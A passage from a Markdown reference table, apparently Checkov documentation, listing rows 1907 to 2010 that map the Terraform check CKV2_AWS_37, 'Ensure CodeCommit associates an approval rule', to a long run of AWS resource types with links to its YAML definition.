[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1907 | CKV2_AWS_37 | resource | aws_signer_signing_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1908 | CKV2_AWS_37 | resource | aws_signer_signing_profile_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1909 | CKV2_AWS_37 | resource | aws_simpledb_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1910 | CKV2_AWS_37 | resource | aws_snapshot_create_volume_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1911 | CKV2_AWS_37 | resource | aws_sns_platform_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1912 | CKV2_AWS_37 | resource | aws_sns_sms_preferences | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1913 | CKV2_AWS_37 | resource | aws_sns_topic | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1914 | CKV2_AWS_37 | resource | aws_sns_topic_data_protection_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1915 | CKV2_AWS_37 | resource | aws_sns_topic_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1916 | CKV2_AWS_37 | resource | aws_sns_topic_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1917 | CKV2_AWS_37 | resource | aws_spot_datafeed_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1918 | CKV2_AWS_37 | resource | aws_spot_fleet_request | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1919 | CKV2_AWS_37 | resource | aws_spot_instance_request | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1920 | CKV2_AWS_37 | resource | aws_sqs_queue | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1921 | CKV2_AWS_37 | resource | aws_sqs_queue_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1922 | CKV2_AWS_37 | resource | aws_sqs_queue_redrive_allow_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1923 | CKV2_AWS_37 | resource | aws_sqs_queue_redrive_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1924 | CKV2_AWS_37 | resource | aws_ssm_activation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1925 | CKV2_AWS_37 | resource | aws_ssm_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1926 | CKV2_AWS_37 | resource | aws_ssm_default_patch_baseline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1927 | CKV2_AWS_37 | resource | aws_ssm_document | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1928 | CKV2_AWS_37 | resource | aws_ssm_maintenance_window | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1929 | CKV2_AWS_37 | resource | aws_ssm_maintenance_window_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1930 | CKV2_AWS_37 | resource | aws_ssm_maintenance_window_task | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1931 | CKV2_AWS_37 | resource | aws_ssm_parameter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1932 | CKV2_AWS_37 | resource | aws_ssm_patch_baseline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1933 | CKV2_AWS_37 | resource | aws_ssm_patch_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1934 | CKV2_AWS_37 | resource | aws_ssm_resource_data_sync | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1935 | CKV2_AWS_37 | resource | aws_ssm_service_setting | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1936 | CKV2_AWS_37 | resource | aws_ssmcontacts_contact | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1937 | CKV2_AWS_37 | resource | aws_ssmcontacts_contact_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1938 | CKV2_AWS_37 | resource | aws_ssmcontacts_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1939 | CKV2_AWS_37 | resource | aws_ssmcontacts_rotation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1940 | CKV2_AWS_37 | resource | aws_ssmincidents_replication_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1941 | CKV2_AWS_37 | resource | aws_ssmincidents_response_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1942 | CKV2_AWS_37 | resource | aws_ssmquicksetup_configuration_manager | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1943 | CKV2_AWS_37 | resource | aws_ssoadmin_account_assignment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1944 | CKV2_AWS_37 | resource | aws_ssoadmin_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1945 | CKV2_AWS_37 | resource | aws_ssoadmin_application_access_scope | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1946 | CKV2_AWS_37 | resource | aws_ssoadmin_application_assignment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1947 | CKV2_AWS_37 | resource | aws_ssoadmin_application_assignment_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1948 | CKV2_AWS_37 | resource | aws_ssoadmin_customer_managed_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1949 | CKV2_AWS_37 | resource | aws_ssoadmin_instance_access_control_attributes | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1950 | CKV2_AWS_37 | resource | aws_ssoadmin_managed_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1951 | CKV2_AWS_37 | resource | aws_ssoadmin_permission_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1952 | CKV2_AWS_37 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1953 | CKV2_AWS_37 | resource | aws_ssoadmin_permissions_boundary_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1954 | CKV2_AWS_37 | resource | aws_ssoadmin_trusted_token_issuer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1955 | CKV2_AWS_37 | resource | aws_storagegateway_cache | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1956 | CKV2_AWS_37 | resource | aws_storagegateway_cached_iscsi_volume | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1957 | CKV2_AWS_37 | resource | aws_storagegateway_file_system_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1958 | CKV2_AWS_37 | resource | aws_storagegateway_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1959 | CKV2_AWS_37 | resource | aws_storagegateway_nfs_file_share | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1960 | CKV2_AWS_37 | resource | aws_storagegateway_smb_file_share | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1961 | CKV2_AWS_37 | resource | aws_storagegateway_stored_iscsi_volume | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1962 | CKV2_AWS_37 | resource | aws_storagegateway_tape_pool | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1963 | CKV2_AWS_37 | resource | aws_storagegateway_upload_buffer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1964 | CKV2_AWS_37 | resource | aws_storagegateway_working_storage | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1965 | CKV2_AWS_37 | resource | aws_subnet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1966 | CKV2_AWS_37 | resource | aws_swf_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1967 | CKV2_AWS_37 | resource | aws_synthetics_canary | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1968 | CKV2_AWS_37 | resource | aws_synthetics_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1969 | CKV2_AWS_37 | resource | aws_synthetics_group_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1970 | CKV2_AWS_37 | resource | aws_timestreaminfluxdb_db_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1971 | CKV2_AWS_37 | resource | aws_timestreamquery_scheduled_query | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1972 | CKV2_AWS_37 | resource | aws_timestreamwrite_database | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1973 | CKV2_AWS_37 | resource | aws_timestreamwrite_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1974 | CKV2_AWS_37 | resource | aws_transcribe_language_model | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1975 | CKV2_AWS_37 | resource | aws_transcribe_medical_vocabulary | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1976 | CKV2_AWS_37 | resource | aws_transcribe_vocabulary | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1977 | CKV2_AWS_37 | resource | aws_transcribe_vocabulary_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1978 | CKV2_AWS_37 | resource | aws_transfer_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1979 | CKV2_AWS_37 | resource | aws_transfer_agreement | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1980 | CKV2_AWS_37 | resource | aws_transfer_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1981 | CKV2_AWS_37 | resource | aws_transfer_connector | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1982 | CKV2_AWS_37 | resource | aws_transfer_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1983 | CKV2_AWS_37 | resource | aws_transfer_server | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1984 | CKV2_AWS_37 | resource | aws_transfer_ssh_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1985 | CKV2_AWS_37 | resource | aws_transfer_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1986 | CKV2_AWS_37 | resource | aws_transfer_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1987 | CKV2_AWS_37 | resource | aws_transfer_workflow | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1988 | CKV2_AWS_37 | resource | aws_verifiedaccess_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1989 | CKV2_AWS_37 | resource | aws_verifiedaccess_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1990 | CKV2_AWS_37 | resource | aws_verifiedaccess_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1991 | CKV2_AWS_37 | resource | aws_verifiedaccess_instance_logging_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1992 | CKV2_AWS_37 | resource | aws_verifiedaccess_instance_trust_provider_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1993 | CKV2_AWS_37 | resource | aws_verifiedaccess_trust_provider | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1994 | CKV2_AWS_37 | resource | aws_verifiedpermissions_identity_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1995 | CKV2_AWS_37 | resource | aws_verifiedpermissions_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1996 | CKV2_AWS_37 | resource | aws_verifiedpermissions_policy_store | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1997 | CKV2_AWS_37 | resource | aws_verifiedpermissions_policy_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1998 | CKV2_AWS_37 | resource | aws_verifiedpermissions_schema | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1999 | CKV2_AWS_37 | resource | aws_volume_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2000 | CKV2_AWS_37 | resource | aws_vpc | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2001 | CKV2_AWS_37 | resource | aws_vpc_block_public_access_exclusion | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2002 | CKV2_AWS_37 | resource | aws_vpc_block_public_access_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2003 | CKV2_AWS_37 | resource | aws_vpc_dhcp_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2004 | CKV2_AWS_37 | resource | aws_vpc_dhcp_options_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2005 | CKV2_AWS_37 | resource | aws_vpc_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2006 | CKV2_AWS_37 | resource | aws_vpc_endpoint_connection_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2007 | CKV2_AWS_37 | resource | aws_vpc_endpoint_connection_notification | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2008 | CKV2_AWS_37 | resource | aws_vpc_endpoint_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2009 | CKV2_AWS_37 | resource | aws_vpc_endpoint_private_dns | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2010 | CKV2_AWS_37 | resource | aws_vpc_endpoint_route_table_association | Ensure CodeCommit associates an approval rule | Terraform | 